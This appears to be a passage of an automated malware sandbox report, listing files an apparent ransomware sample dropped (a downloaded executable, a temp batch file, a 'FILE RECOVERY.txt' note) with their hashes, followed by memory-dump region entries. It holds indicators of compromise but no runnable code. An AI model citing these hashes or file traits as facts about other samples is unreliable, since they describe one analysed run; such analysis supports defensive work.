SHA512fcf45a46e0118b72a1138d6c5b259605a7c087316f025d8444ae7e84d9df18b695ae115281e3519f630d8364d144435e071b4ab0509d2243e2eab97f18b13ddc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.dbFilesize
14KB
MD55da7af029863eadea84d15105aec31f8
SHA109a3de4511efe74fa60526f458c6d79dffafc3a5
SHA256e479463fe97989d133561d5c09d28afe0c1522ac8074efc9ac1118b53792330d
SHA512eecc7bda72e46b9076a4179c4c7b5b770e3767809181b0065c77e7fc8a0bdbce65a388d236547e923908c8d04fef6ec6727bcd7ecae3fdbc8edae7ceea7a0951
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6CI3IN3W\a-Xgjsx[1].exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\AppData\Local\Temp\Wvjrrzxdkill$-arab.batFilesize
53KB
MD5b57545cb36ef6a19fdde4b2208ebb225
SHA11d319740835ff12562e04cc74545a047bba63031
SHA256445d709ea4ae38706a0cc47ffc6c100fb9a354ff1ac718d0c23415524bdfc895
SHA5123618bb17282d8d82ff280590563eebd5c0b181d24156f6a69cba53d17a1bae0d9287c9f191efbe6c3d4223bcb47348c74177000aa0844263ed176df56e1f0856
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bntqfbtf.fjw.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\Desktop\FILE RECOVERY.txtFilesize
1KB
MD5cae7ca2c6bf93c5fdbbeba4a4a357546
SHA125ba3e2a06aa39d5258982438626588e03c2e9b6
SHA256fb16666ade9867998b67bf028bb354691d3cd1e9761520e4077225421ca90f75
SHA512546e258c93f30215499fb6bce4cc44c7605462d3d7326418db5e9dfe24dcd939cf8e95d195707129419160bf1e148171a8fc4278f638b5f5a3d1683b11b2a5cc
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exe.3dq3pev.partialFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
\??\pipe\crashpad_360_KOPKSPBDMUSKOVTFMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/2104-2683-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2694-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-13467-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-3509-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2704-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2702-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2703-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2701-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2700-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2699-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2698-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2697-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2696-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2695-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2690-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2691-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2692-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2693-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2688-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2689-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2687-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2686-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2684-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2680-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2679-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2677-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2676-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2674-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2104-2672-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/2124-2547-0x0000000005660000-0x00000000056F2000-memory.dmpFilesize
584KB
-
memory/2124-2549-0x00000000055B0000-0x00000000055BA000-memory.dmpFilesize
40KB
-
memory/2124-2581-0x00000000058A0000-0x00000000058B0000-memory.dmpFilesize
64KB
-
memory/2124-2550-0x0000000006760000-0x00000000068AC000-memory.dmpFilesize
1.3MB
-
memory/2124-2551-0x00000000068B0000-0x0000000006C00000-memory.dmpFilesize
3.3MB
-
memory/2124-2545-0x0000000000CE0000-0x0000000000D6A000-memory.dmpFilesize
552KB
-
memory/2124-2546-0x0000000005B60000-0x000000000605E000-memory.dmpFilesize
5.0MB
-
memory/2124-2552-0x0000000006C50000-0x0000000006C9B000-memory.dmpFilesize
300KB
-
memory/2124-2553-0x0000000006D40000-0x0000000006DD2000-memory.dmpFilesize
584KB
-
memory/2124-2554-0x0000000006E40000-0x0000000006E62000-memory.dmpFilesize
136KB
-
memory/2124-2548-0x00000000058A0000-0x00000000058B0000-memory.dmpFilesize
64KB
-
memory/3248-2579-0x0000000009E80000-0x000000000A4F8000-memory.dmpFilesize
6.5MB
-
memory/3248-2560-0x0000000004F70000-0x0000000004F80000-memory.dmpFilesize
64KB
-
memory/3248-2559-0x0000000004F70000-0x0000000004F80000-memory.dmpFilesize
64KB
-
memory/3248-2561-0x0000000008250000-0x00000000082B6000-memory.dmpFilesize
408KB
-
memory/3248-2558-0x00000000079D0000-0x0000000007FF8000-memory.dmpFilesize
6.2MB
-
memory/3248-2557-0x0000000004EC0000-0x0000000004EF6000-memory.dmpFilesize
216KB
-
memory/3248-2562-0x0000000008170000-0x00000000081D6000-memory.dmpFilesize
408KB
-
memory/3248-2563-0x0000000008200000-0x000000000821C000-memory.dmpFilesize
112KB
-
memory/3248-2564-0x0000000008A10000-0x0000000008A86000-memory.dmpFilesize
472KB
-
memory/3248-2587-0x0000000004F70000-0x0000000004F80000-memory.dmpFilesize
64KB
-
memory/3248-2585-0x0000000004F70000-0x0000000004F80000-memory.dmpFilesize
64KB
-
memory/3248-2580-0x0000000009800000-0x000000000981A000-memory.dmpFilesize
104KB
-
memory/3548-800-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-1606-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-799-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-801-0x00007FF637410000-0x00007FF637420000-memory.dmpFilesize
64KB
-
memory/3548-814-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-1479-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-2499-0x00000000207C0000-0x0000000020CE6000-memory.dmpFilesize
5.1MB
-
memory/3548-1954-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-1851-0x00007FF637410000-0x00007FF637420000-memory.dmpFilesize
64KB
-
memory/3548-1850-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-1849-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-782-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-1728-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-781-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-780-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-1607-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB
-
memory/3548-763-0x000000001D5F0000-0x000000001D600000-memory.dmpFilesize
64KB